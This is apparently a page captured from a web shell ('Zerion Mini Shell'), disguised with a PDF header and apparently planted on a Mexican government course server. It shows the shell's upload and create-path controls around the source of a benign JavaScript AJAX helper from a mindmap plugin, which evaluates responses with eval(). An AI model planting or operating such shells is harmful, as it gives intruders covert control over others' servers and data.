%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/plugin/mindmap/edit-mindmap/vendor/js/kampfer/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/plugin/mindmap/edit-mindmap/vendor/js/kampfer/ajax.js

kampfer.provide('ajax');

/**
 * @Author l.w.kampfer@gmail.com
 * @Name AJAX工具函数
 * @Version 1.0
 */

(function( window, kampfer ) {
	//XHR构造函数
	var _XHRFactories = [
		function() { return new XMLHttpRequest(); },
		function() { return new window.ActiveXObject('Microsoft.XMLHTTP'); }
	];
	
	//默认设置
	var _defaultSettings = {
		url : '',
		method : 'GET',
	    async : true,
		parameters : {},
		timeout : 10000,
		ontimeout : function() {},
		onerror : function() {},
		onsuccess : function() {},
		onbeforesend : function() {},
		context : null,
		headers : {}
	};
	
	var responceTypes = {
		xml : /xml/,
		json : /json/,
		//html : /html/,
		javascript : /javascript/
	};
	
	//将对象序列化为字符串
	function _encodeFormData( data ) {
		var pairs = [],
			regSpace = /%20/g;
		for( var name in data ) {
			var value = data[name].toString();
			//使用encodeURIComponent对名值对进行编码
			var pair = encodeURIComponent( name ).replace( regSpace, '+' ) + '=' +
				encodeURIComponent( value ).replace( regSpace, '+' );
			pairs.push( pair );
		}
		return pairs.join( '&' );
	}
	
	//区别对待返回类型
	function _getResponse( request ) {
		var contentType = request.getResponseHeader('Content-Type');
		if( responceTypes.xml.test( contentType ) ) {
			return request.responseXML; 
		}else if( responceTypes.json.test( contentType ) || responceTypes.javascript.test( contentType ) ) {
			return eval( '(' + request.responseText + ')' );
		}else{
			return request.responseText;
		}
	}
	
	//创建新的XMLHttpRequest对象
	function _createNewXHR() {
		for( var i = 0, l = _XHRFactories.length; i < l; i++ ) {
			try {
				_XHRFactories[i]();
				_createNewXHR = _XHRFactories[i];
				break;
			} catch( e ) {
				//consle.log( ' XHR not supported' );
			}
		}
		return _createNewXHR();
	}
	
	var ajax = function( options ) {
		var newXHR = _createNewXHR(), 
			timer,
			url,
			parameters;
		options = kampfer.extend( {}, _defaultSettings, options );
		//设置执行上下文
		if( !options.context ) {
			options.context = newXHR;
		}
		if( options.ontimeout ) {
			//闭包
			timer = setTimeout( function(){
				newXHR.abort();
				if ( options.ontimeout ) {
					options.ontimeout.call( options.context, options );
				}
			}, options.timeout );
		}
		newXHR.onreadystatechange = function() {
			if( newXHR.readyState === 4 ) {
				if( timer ) {
					clearTimeout( timer );
				}
				if( newXHR.status === 200 ) {
					options.onsuccess.call( options.context, _getResponse( newXHR ) );
				} else {
					if( options.onerror ) {
						options.onerror.call( options.context, newXHR );
					}
				}
			}
		};
		url = options.url;
		parameters = options.parameters && _encodeFormData( options.parameters );
		if( options.method.toUpperCase() === 'GET' ) {
			if( options.parameters ) {
				url += '?' + parameters + '&_=' + ( +new Date() );
			}
			newXHR.open( 'GET', url, options.async );
			options.onbeforesend && options.onbeforesend.call( options.context, newXHR );
			newXHR.send( null );
		} else if( options.method.toUpperCase() === 'POST' ) {
			newXHR.open( 'POST', url, options.async );
			options.onbeforesend && options.onbeforesend.call( options.context, newXHR );
			newXHR.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded' );
			newXHR.send( parameters );
		}
	};
	
	kampfer.extend( kampfer, {
		ajax : ajax 
	});
	
})( window, kampfer );

Zerion Mini Shell 1.0